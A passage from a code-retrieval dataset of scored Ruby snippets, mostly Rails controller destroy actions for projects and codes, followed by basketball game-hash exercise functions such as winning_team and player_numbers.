}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "44b4c5c102710e4d6cd96b233f8820c5", "score": "0.62711746", "text": "def destroy\n @ourproject = Ourproject.find(params[:id])\n @ourproject.destroy\n\n respond_to do |format|\n format.html { redirect_to ourprojects_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d7b85e443a0f2165af41603bab613519", "score": "0.6268043", "text": "def destroy\n @featured_project.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f75e39df6ff0f92d23c70305b2b81a37", "score": "0.62666917", "text": "def destroy\n @project.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "4cdb6c9c492028fbd565a9d2f3f05d48", "score": "0.62572354", "text": "def destroy\n links = ProjectTechnology.where(:project_id => @project.id)\n puts \"========================\".yellow\n links.each do |l|\n puts \"Destroy : #{l}\".red\n l.destroy\n end\n puts \"========================\".yellow\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "778df94167282524df4d90c21af0c391", "score": "0.62496686", "text": "def destroy\n @project = Project.find(params[:id])\n @project.delete\n\n respond_to do |format|\n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b00b11cfd92068de530607a465131bcf", "score": "0.62475395", "text": "def destroy\n # @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "85b3900b63a72e53539937a12da07cf2", "score": "0.62459207", "text": "def destroy\n @project_configuration.destroy\n respond_to do |format|\n format.html { redirect_to project_configurations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5d7a1cc2cfd84c0e660f50d58157424f", "score": "0.6245493", "text": "def destroy\n project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "592add135cc158eff66b7cbe9b29a685", "score": "0.62441874", "text": "def destroy\n authorize @project\n @project.destroy\n render json: [\"Deleted successfully.\"], status: :ok\n end", "title": "" }, { "docid": "eafeea8cbe10c51a55bfdfa6c1258203", "score": "0.6243412", "text": "def destroy\n \t@project = Project.find(params[:id])\n \t#ap @project\n \t#abort\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb8a955f17442ce1943df31af7a73f7", "score": "0.6240299", "text": "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "title": "" }, { "docid": "92d56d692c50fb2c8dd0ff601ab70ae1", "score": "0.62362355", "text": "def destroy\n @badge_project.destroy\n respond_to do |format|\n format.html { redirect_to badge_projects_url, notice: 'Badge project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0e872a94eca56a40b8dea1f757b6f0db", "score": "0.62324953", "text": "def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e99de6a4a2fe5da15a8d6f843e5084b8", "score": "0.62279004", "text": "def destroy\n @dashboard_project.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9545461b135685fb7555c53de854ae9e", "score": "0.62233835", "text": "def destroy\n @project_catagory.destroy\n respond_to do |format|\n format.html { redirect_to project_catagories_url, notice: 'Project catagory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27fb5da7d9cfb6871ae138bcf52778ee", "score": "0.6220496", "text": "def destroy\n @update_code = UpdateCode.find(params[:id])\n @update_code.destroy\n\n respond_to do |format|\n format.html { redirect_to update_codes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95bdb64f1983a27b10743165735544a8", "score": "0.6219392", "text": "def destroy\n @diagcode.destroy\n respond_to do |format|\n format.html { redirect_to diagcodes_url, notice: 'Diagcode was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4e932036a81274043b4f0c707be13811", "score": "0.62193024", "text": "def delete\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "471268befa4f3350bdfcae151653597f", "score": "0.6219132", "text": "def destroy\n @projectresource = Projectresource.find(params[:id])\n @projectresource.destroy\n\n respond_to do |format|\n format.html { redirect_to projectresources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2b9af052bf33cdf9acb815d619405359", "score": "0.62156844", "text": "def destroy\n @allocation = Allocation.find(params[:id])\n @allocation.destroy\n\n respond_to do |format|\n format.html { redirect_to allocations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4fe8656b0691479c0f33f9366b50c9b7", "score": "0.62145853", "text": "def destroy\n @examination.destroy\n\n respond_to do |format|\n format.html { redirect_to @examination.project }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "673c2d212c42d391e8f10d29dddaa5d3", "score": "0.6206836", "text": "def destroy\n @project_entry = ProjectEntry.find(params[:id])\n @project_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "33ff553ab067514fa869d2150539bcde", "score": "0.6205205", "text": "def destroy\n @slab_project.destroy\n respond_to do |format|\n format.html { redirect_to slab_projects_url, notice: \"Slab project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2af70b84d931c81dc12ff49b1a94670e", "score": "0.62028253", "text": "def destroy\n @assigned_project = AssignedProject.find(params[:id])\n @assigned_project.destroy\n\n respond_to do |format|\n format.html { redirect_to assigned_projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "56db8cc950206002bf2f0cf32e885e2a", "score": "0.6200742", "text": "def destroy\n @retain_solution_code = Retain::SolutionCode.find(params[:id])\n @retain_solution_code.destroy\n \n respond_to do |format|\n format.html { redirect_to(retain_solution_codes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3ffe32691e749260c57ffa3580016e24", "score": "0.61938924", "text": "def destroy\n @security_proj_type = SecurityProjType.find(params[:id])\n @security_proj_type.destroy\n\n respond_to do |format|\n format.html { redirect_to security_proj_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "96e6f2d8089dc7326ee9f1de7b0d6f0e", "score": "0.6193562", "text": "def destroy\n @pc_region = PcRegion.find(params[:id])\n @pc_region.destroy\n\n respond_to do |format|\n format.html { redirect_to pc_regions_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "eb9b0e31953ee63fcb043ee6a331e345", "score": "0.61879265", "text": "def destroy\n authorize! :destroy, @project\n @project.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "aba1bad3c5b820c952a30069f1f8030c", "score": "0.6181957", "text": "def destroy\n @active_code.destroy\n respond_to do |format|\n format.html { redirect_to active_codes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c026729e582baaf3c1888943b32277f9", "score": "0.6180597", "text": "def destroy\n @project_detail = ProjectDetail.find(params[:id])\n @project_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to project_details_url(page: @current_page) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "020be3a62ea2dfa1b943711a1e2d49fc", "score": "0.617897", "text": "def destroy\n @code_solution.destroy\n respond_to do |format|\n format.html { redirect_to code_solutions_url, notice: 'Code solution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f5ceb1ccbfcb2b93401d8b00cc955aba", "score": "0.61705416", "text": "def destroy\n @exam_code = ExamCode.find(params[:id])\n @exam_code.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_codes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ba4889a15628c4629b9f8f695ce054b", "score": "0.61704314", "text": "def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "814a054aabe2716d10570c190a7f117b", "score": "0.6170414", "text": "def destroy\n @resolution_code.destroy\n respond_to do |format|\n format.html { redirect_to resolution_codes_url, notice: 'Resolution code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ba4889a15628c4629b9f8f695ce054b", "score": "0.6170303", "text": "def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ba4889a15628c4629b9f8f695ce054b", "score": "0.6170303", "text": "def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ba4889a15628c4629b9f8f695ce054b", "score": "0.6170303", "text": "def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ba4889a15628c4629b9f8f695ce054b", "score": "0.6170303", "text": "def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ba4889a15628c4629b9f8f695ce054b", "score": "0.6170303", "text": "def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fdc52965e988d8402545fdd9098ddd13", "score": "0.6170124", "text": "def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1f5c1a3979b3de99fbc3eb8ed1544bcb", "score": "0.61662585", "text": "def destroy\n @project_path = ProjectPath.find(params[:id])\n @project_path.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_paths_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "18dae3080360ae181fe8815f9f5d634e", "score": "0.61609477", "text": "def destroy\n @dynamic_project_page.destroy\n respond_to do |format|\n format.html { redirect_to '/administrator/dynamic_project_pages', notice: 'Информация обновлена' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2449382847c5d56e10214ff1dfdc5e6f", "score": "0.61597395", "text": "def destroy\n @code.destroy\n respond_to do |format|\n format.html { redirect_to codes_url, notice: 'Code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2449382847c5d56e10214ff1dfdc5e6f", "score": "0.61597395", "text": "def destroy\n @code.destroy\n respond_to do |format|\n format.html { redirect_to codes_url, notice: 'Code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2449382847c5d56e10214ff1dfdc5e6f", "score": "0.61597395", "text": "def destroy\n @code.destroy\n respond_to do |format|\n format.html { redirect_to codes_url, notice: 'Code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2449382847c5d56e10214ff1dfdc5e6f", "score": "0.61597395", "text": "def destroy\n @code.destroy\n respond_to do |format|\n format.html { redirect_to codes_url, notice: 'Code was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b06bec4b1a6838d81314a1c18a2278de", "score": "0.6155372", "text": "def destroy\r\n @project.destroy\r\n respond_to do |format|\r\n format.html { redirect_to projects_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "152d379e1e4a2f8300d7af416708f037", "score": "0.6153067", "text": "def destroy\n @project_developer = ProjectDeveloper.find(params[:id])\n @project_developer.destroy\n\n respond_to do |format|\n format.html { redirect_to project_developers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d1f0a8e8c97a0438790f1ddeeecaca29", "score": "0.6151382", "text": "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "title": "" }, { "docid": "8a5711000c908fd5dfa56dc4bda1c4f2", "score": "0.6151334", "text": "def destroy\n @bridge_project_typology.destroy\n respond_to do |format|\n format.html { redirect_to bridge_project_typologies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bc46751efb20e86e694e47c145713215", "score": "0.6148623", "text": "def destroy\n @master_plan = MasterPlan.find(params[:id])\n @project = @master_plan.project\n @project.remove_master_plan(@master_plan, current_user)\n\n respond_to do |format|\n format.html { redirect_to client_project_master_plan_path(id: @project.current_master_plan_id, project_id: @project.id, client_id: @project.client_id) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a47abe0c56db0252b5cea44b812102e1", "score": "0.6143859", "text": "def destroy\n @project = Project.find(params[:id])\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "78d20bafabfae11937dcfb50b84ace8f", "score": "0.61414266", "text": "def destroy\n @signspot_project = Signspot::Project.find(params[:id])\n @signspot_project.destroy\n\n respond_to do |format|\n format.html { redirect_to signspot_projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d40a05051fdfc5a20fcad7982623b42", "score": "0.6141204", "text": "def destroy\n\t\[email protected]\n\t\trespond_to do |format|\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "title": "" }, { "docid": "78e4c45090c0c2828449b42e1b82229e", "score": "0.6140456", "text": "def destroy\n @capacitycode.destroy\n respond_to do |format|\n format.html { redirect_to capacitycodes_url, notice: 'Capacitycode was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eb4a17a1251e990430f0a48709fec9e8", "score": "0.61398655", "text": "def destroy\n @api_project.destroy\n respond_to do |format|\n format.html { redirect_to api_projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3e9a30d597c9b44304179107a6bf0615", "score": "0.61350983", "text": "def destroy\n @project.destroy_all\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'The project was successfully removed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a83f08d6195bf1930b38bf159a81c2c0", "score": "0.61334", "text": "def destroy\n @naics_code.destroy\n respond_to do |format|\n format.html { redirect_to naics_codes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ad3ea3d647b2a1a2fd9fbf2917e42354", "score": "0.61292034", "text": "def destroy\n @project = @projectable.projects.find(params[:id])\n @project.destroy\n track_activity @project\n\n respond_to do |format|\n format.html { redirect_to [@projectable, :projects] }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3f5e7155b684a2c4e8ab96a1eb1b1dc1", "score": "0.61278534", "text": "def destroy\n @pds_project.destroy\n respond_to do |format|\n format.html { redirect_to pds_projects_url, notice: 'Pds project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "08ad47f4686cee67062ced1d5a2df5bb", "score": "0.6126423", "text": "def destroy\n @allocation.destroy\n respond_to do |format|\n format.html { redirect_to allocations_url, notice: t(:allocation_deleted) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "97b9294eca96d9e9c227def46f9851b5", "score": "0.6125097", "text": "def destroy\n @file_project = FileProject.find(params[:id])\n @file_project.destroy\n\n respond_to do |format|\n format.html { redirect_to file_projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4206ca5875e3425c409df0ce9ab8d00b", "score": "0.6122324", "text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "908d2c60d0fd3426318da82eb4e2edae", "score": "0.6120334", "text": "def destroy\n destroy_pages_and_jobs()\n\n\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b460e97dd3c62832297dad79127a20cf", "score": "0.6119537", "text": "def destroy\n @project_phase = ProjectPhase.find(params[:id])\n @project_phase.destroy\n\n respond_to do |format|\n format.html { redirect_to project_phases_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "01c6c8681dde2293d0ea7f4cc9f9fea3", "score": "0.6116149", "text": "def destroy\n @project_member.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "377d88ebca4eb666c2c503145983d404", "score": "0.61146575", "text": "def delete()\n\n client.delete(\"/project_statuses/#{gid}\") && true\n end", "title": "" }, { "docid": "8619ade2925c695f8952f0a7c7baa07c", "score": "0.6114377", "text": "def destroy\n begin\n ActiveRecord::Base.transaction do\n ## Remove the project and everything associated with it (permissions,\n ## files, comments, altcode).\n delete_project(@project)\n\n render json: \"\", serializer: SuccessSerializer\n end\n rescue => e\n render_error \"Could not remove project: #{e}\"\n end\n end", "title": "" }, { "docid": "5f3da59d92ae83698daaf6cd99878225", "score": "0.6114115", "text": "def destroy\n @res_allocation = ResAllocation.find(params[:id])\n @res_allocation.destroy\n\n respond_to do |format|\n format.html { redirect_to res_allocations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7070e4dc3849fac5852c0271c9b6d7cc", "score": "0.61114377", "text": "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "title": "" } ]
e6e25dea6007cb554d5d72aa9df9f287
create 2 empty arrays, one for each team iterate down to teams + values conditional to return selected team's stats push to corresponding teams empty array conditional: using reduce, add up both teams array of points return winning team
[ { "docid": "64715b7966d048e371ea3caadf271fe4", "score": "0.6529807", "text": "def winning_team\n nets = []\n hornets = []\n\n game_hash.values.each do |nets_stats|\n if nets_stats[:team_name] == \"Brooklyn Nets\"\n nets_stats[:players].each do |bk|\n nets << bk[:points]\n end\n end\n end\n\n game_hash.values.each do |hornets_stats|\n if hornets_stats[:team_name] == \"Charlotte Hornets\"\n hornets_stats[:players].each do |ch|\n hornets << ch[:points]\n end\n end\n end\n\n if nets.reduce(:+) > hornets.reduce(:+)\n return \"Brooklyn Nets\"\n else\n return \"Charlotte Hornets\"\n end\nend", "title": "" } ]
[ { "docid": "97623a49e891012a66b06cda30c27586", "score": "0.7229301", "text": "def winning_team\n team_p = []\n team_n = []\n\n game_hash.each do | location, team_data|\n temp = 0\n team_data[:players].each do |p_name, stats|\n temp += stats[:points]\n end\n team_n << team_data[:team_name]\n team_p << temp\n end\n\n team_p[0] > team_p[1] ? team_n[0] : team_n[1]\n\nend", "title": "" }, { "docid": "fd8fb3be20044dab1a12be3c9e8053be", "score": "0.7089076", "text": "def winning_team\n home_points = 0\n away_points = 0\n team1 = \"Brooklyn Nets\"\n team2 = \"Charlotte Hornets\"\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n if info[:team_name] == \"Brooklyn Nets\"\n team_data.each do |player_index|\n home_points += player_index[:points]\n end\n else \n team_data.each do |player_index|\n away_points += player_index[:points]\n winning_team end\n end\n end\n end\n end\n end\n\n if home_points > away_points\n team1\n else\n team2\n end\n\nend", "title": "" }, { "docid": "2009a9768659f07625b08c8e7993465f", "score": "0.70451397", "text": "def winning_team\n final_scores = player_collection.reduce(home: 0, away: 0) { |teams_points, next_player|\n case \n when next_player[:location] === :away\n teams_points[:away] += next_player[:points];\n when next_player[:location] === :home\n teams_points[:home] += next_player[:points];\n end\n teams_points; \n }\n winner = final_scores.reduce { |highest_points, team_points| \n highest_points[1] > team_points[1] ? highest_points : team_points; \n }\n game_hash[winner[0]][:team_name]; \nend", "title": "" }, { "docid": "7e86a61918582f523017b661461719fb", "score": "0.6720422", "text": "def winning_team\n home_team_sum = 0\n away_team_sum = 0\n game_hash.each do |team, team_stats|\n if team_stats[:team_name] == \"Brooklyn Nets\"\n team_stats[:players].each do |player_stats|\n home_team_sum += player_stats[:points]\n end\n elsif team_stats[:team_name] == \"Charlotte Hornets\"\n team_stats[:players].each do |player_stats|\n away_team_sum += player_stats[:points]\n end\n end\n end\n if home_team_sum > away_team_sum\n game_hash[:home][:team_name]\n elsif home_team_sum < away_team_sum\n game_hash[:away][:team_name]\n end\nend", "title": "" }, { "docid": "1d17707b37efa95f0b2410af18b4f4d9", "score": "0.67163885", "text": "def get_standings(games)\n teams = Hash.new\n games.each do |game|\n division_id = game.division_id\n home_team = game.home_team\n away_team = game.visiting_team\n if(teams[home_team.name].nil?)\n teams[home_team.name] = {:win => 0, :loss => 0, :tie => 0, :point=> 0}\n end\n\n if(teams[away_team.name].nil?)\n teams[away_team.name] = {:win => 0, :loss => 0, :tie => 0, :point => 0}\n end\n if(game.home_team_score && game.visiting_team_score)\n if(game.home_team_score > game.visiting_team_score)\n # home team won\n teams[home_team.name][:win] += 1\n teams[home_team.name][:point] += 5\n # visiting team loss\n teams[away_team.name][:loss] += 1\n elsif(game.home_team_score < game.visiting_team_score)\n # home team loss\n teams[home_team.name][:loss] += 1\n #visiting team won\n teams[away_team.name][:win] += 1\n teams[away_team.name][:point] += 5\n else\n # tie game\n teams[home_team.name][:tie] += 1\n teams[home_team.name][:point] += 1\n teams[away_team.name][:tie] += 1\n teams[away_team.name][:point] += 1\n end\n end\n end\n teams.each do |team, value|\n puts team\n total_games = value[:win] + value[:loss] + value[:tie]\n if total_games > 0 \n win_percentage = value[:win]/total_games.to_f\n else\n win_percentage = 0\n end \n value[:percentage] = win_percentage\n end\n teams_sorted = teams.sort_by{ |k, v| v[:point]}.reverse\n return teams_sorted\n end", "title": "" }, { "docid": "1710b5652fef288cf2823f42075ce903", "score": "0.6635235", "text": "def winning_team\n total_points = 0 #initialize points at zero \n \n win_team = '' #set win team to an empty string \n \n game_hash.each do |location, team| #iterating over game hash\n team_points = 0 #initialize team points at zero \n team_name = game_hash[location][:team_name] \n # set team name = to game_hash at the the location at the # :team name \n \n team[:players].each do |player| #iterate over players \n points = player[:points] # set points = player points \n team_points += points #team points is the addition of every single point value from each player\n \n #binding.pry \n end\n \n win_team, total_points = team_name, team_points if team_points > total_points\n \n #binding.pry \n \n end\n \n return win_team\n\nend", "title": "" }, { "docid": "08a520b13d0a6231dd113528d5122dee", "score": "0.6484103", "text": "def create\n sport_id = user_session.get(:filter_sport_id) # okay that's how mistakes happen.... TODO!!!\n sport = Sport.find(sport_id)\n team_points = Hash.new(0)\n team_games = Hash.new(0)\n team_goals_for = Hash.new(0)\n team_goals_against = Hash.new(0)\n\n sport.leagues.each do |league|\n league.games.each do |game| #iterate through EVERY game in EVERY league, calculate points, set it in team table\n if game.tie == false and not game.winner_id.nil? # no tie and winner exists\n team_points[game.winner_id] += 2\n team_games[game.team_1_id] += 1\n team_games[game.team_2_id] += 1\n elsif game.tie == true\n team_points[game.team_1_id] += 1\n team_points[game.team_2_id] += 1\n team_games[game.team_1_id] += 1\n team_games[game.team_2_id] += 1\n end # else, game has not been played yet\n\n # go through all the sets and calculate goal difference\n game.gamesets.each do |set|\n team_goals_for[game.team_1_id] += set.points_team_1.to_i\n team_goals_for[game.team_2_id] += set.points_team_2.to_i\n team_goals_against[game.team_1_id] += set.points_team_2.to_i\n team_goals_against[game.team_2_id] += set.points_team_1.to_i\n end\n\n end\n\n league.teams.each do |team|\n team.points = team_points[team.id] #|| 0 should work without this\n team.game_count = team_games[team.id]\n team.goals_for = team_goals_for[team.id]\n team.goals_against = team_goals_against[team.id]\n team.goals_difference = team_goals_for[team.id] - team_goals_against[team.id]\n team.save\n end\n end\n redirect_to rankings_path, success: t(:object_created)\n end", "title": "" }, { "docid": "76b9201a472f72824db6769146237dbc", "score": "0.64481884", "text": "def winning_team\n home_points = 0\n away_points = 0\n result = \"\"\n i = 0\n game_hash.each do |team, about|\n about[:players].each do |name , stats|\n if i == 0\n home_points += stats[:points]\n else\n away_points += stats[:points]\n end\n end\n i += 1\n end\n home_points > away_points ? result = game_hash[:home][:team_name] : result = game_hash[:away][:team_name]\nend", "title": "" }, { "docid": "fcf5c40eeeb28bbc9cf5c164528ee32c", "score": "0.64447844", "text": "def add_points(team)\n games_played = Game.where(\"team_one = #{team.id} or team_two = #{team.id}\")\n @rankings[team.name][\"points_for\"] = 0\n @rankings[team.name][\"points_against\"] = 0\n if !games_played.nil?\n games_played.each do |game|\n if !game.winner.nil? && !game.winner_score.nil?\n if team.id == game.winner # if team won, add winner points to PF and losing points to PA\n @rankings[team.name][\"points_for\"] += game.winner_score\n @rankings[team.name][\"points_against\"] += game.loser_score\n else # if team lost, add winner points to PA and losing points to PF\n @rankings[team.name][\"points_for\"] += game.loser_score\n @rankings[team.name][\"points_against\"] += game.winner_score\n end\n end\n end\n end\n end", "title": "" }, { "docid": "dca829b4ff30c406668bd16a9d4a4237", "score": "0.64345795", "text": "def find_team_values\n #sets the total investments as an empty hash\n team_investments = {}\n #iterates through every team\n @teams.each do |team, value|\n #initializes the value for the team\n investment_values = 0\n #finds every investment for the team\n Investment.where(team_id: team.id).each do |i|\n #only adds the investment if it is in the selected quarter\n Feature.find(i.feature_id).quater == @quater ? investment_values += i.investment : a=0\n end\n team_investments[team.id] = investment_values\n end\n return team_investments\n end", "title": "" }, { "docid": "b04aaa38945f1245c16a643885177154", "score": "0.64255947", "text": "def player_numbers(team_input)\n return_arr = []\n game_hash.each do |location, team|\n team.each do |team_info, data|\n if data == team_input\n team[:players].each do |name, stats|\n return_arr.push(stats[:number])\n end\n end\n end\n end\n return_arr\nend", "title": "" }, { "docid": "d37a640399e35d796250a9d7140268a7", "score": "0.6394738", "text": "def winning_team\n points_home = 0\n points_away = 0\n result = \"\"\n\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n info.each do |player|\n if side = :home\n points_home += player[:points]\n else\n points_away += player[:points]\n end\n end\n end\n end\n end\n if points_home > points_away\n result = game_hash[:home][:team_name]\n else\n result = game_hash[:away][:team_name]\n end\n result\nend", "title": "" }, { "docid": "7d6f4d76972765a4228e052f1676a082", "score": "0.63654995", "text": "def raw_players_and_stats(data)\n # Need to put team_players_members inside an array to group the 2 team arrays together\n all_players_stats = []\n \n data.each_pair do |team, team_stats|\n team_stats.each_pair do |team_players, team_players_members|\n \n if team_players == :players \n \tall_players_stats << team_players_members \n end\n \n end\n end\n all_players_stats\nend", "title": "" }, { "docid": "6b7681edf4124442482236344607194f", "score": "0.63486207", "text": "def calculate!\n ov = self[:overall]\n ov[:high_night] = {}\n ov[:winners] = {}\n\n self.each do |player_id, st|\n next if player_id == :overall\n\n ## calculate computed stats for player\n st[:nights] += st[:dates].keys.length # if st[:nights] == 0\n st[:high_night] = st[:dates].values.max\n st[:gold_stars] = 1 if st[:nights] == 29\n st[:warps_per_game] = 1.0 * st[:warps] / st[:games] rescue 0\n st[:warps_per_night] = 1.0 * st[:warps] / st[:nights] rescue 0\n st[:games_per_night] = 1.0 * st[:games] / st[:nights] rescue 0\n st[:wins_per_night] = 1.0 * st[:wins] / st[:nights] rescue 0\n st[:wins_per_game] = 1.0 * st[:wins] / st[:games] rescue 0\n\n ## accumulate overall stats\n [:warps, :wins, :cfbs,\n :mystery_factors, :gold_stars]. each do |field|\n ov[field] += st[field]\n end\n [:wimps, :come_ons].each do |field|\n if st[field]\n ov[field] ||= 0\n ov[field] += st[field]\n end\n end\n # nights won calculation\n st[:dates].each do |date,warps|\n ov[:dates][date] += warps\n hnd = ov[:high_night][date] ||= {:players => [], :warps => 0}\n if hnd[:warps] < warps\n hnd[:players] = [player_id]\n hnd[:warps] = warps\n elsif hnd[:warps] == warps\n hnd[:players].push(player_id)\n end\n end\n end\n\n ## update overall computed stats\n st = self[:overall]\n ov[:games] = ov[:wins]\n ov[:nights] = ov[:dates].keys.length\n ov[:nights] = 29 if ov[:nights] == 0 ## provide sane default\n ov[:nights] = ov[:nights_real] if ov[:nights_real]\n ov[:warps_per_game] = 1.0 * ov[:warps] / ov[:games] rescue 0\n ov[:warps_per_night] = 1.0 * ov[:warps] / ov[:nights] rescue 0\n ov[:games_per_night] = 1.0 * ov[:games] / ov[:nights] rescue 0\n ov[:high_night].each do |date,h|\n h[:players].each {|p| self[p][:nights_won] += 1}\n end\n\n ## determine per-stat winners\n # fuck everyone but the top 50 OR those with 50+ warps\n # the 51 below is not a bug\n sorted_players = self.keys.sort{|a,b| self[b][:warps] <=> self[a][:warps]}\n fifty_plus = self.keys.select{|p| self[p][:warps] >= 50}\n eligible = (sorted_players[0..51] | fifty_plus).\n inject(Hash.new(false)) {|acc,p| acc.merge(p => true)}\n [:warps, :games, :nights, :wins, :nights_won, :cfbs,\n :come_ons, :wimps, :warps_per_game, :warps_per_night,\n :games_per_night, :wins_per_game, :high_night].each do |field|\n owf = ov[:winners][field] = {:players => [], :value => 0}\n self.each do |player, st|\n next if player == :overall\n next unless eligible[player]\n if st[field].to_f > owf[:value]\n owf[:players] = [player]\n owf[:value] = st[field]\n elsif st[field] == owf[:value]\n owf[:players].push(player)\n end\n end\n end\n\n ## mark per-stat winners\n ov[:winners].each do |field, win|\n win[:players].each do |player|\n self[player][:winner][field] = true\n end\n end\n\n self\n end", "title": "" }, { "docid": "65d3d94adafb4a205e36660fa3ec3969", "score": "0.6334004", "text": "def calculate_team_scorecard(game_matchups, scorecard_template)\n team_scorecard = scorecard_template\n #based on game results, increase appropriate wins/losses/ties values\n game_matchups.each do |game_info|\n home_team = game_info[\"home_team\"]\n away_team = 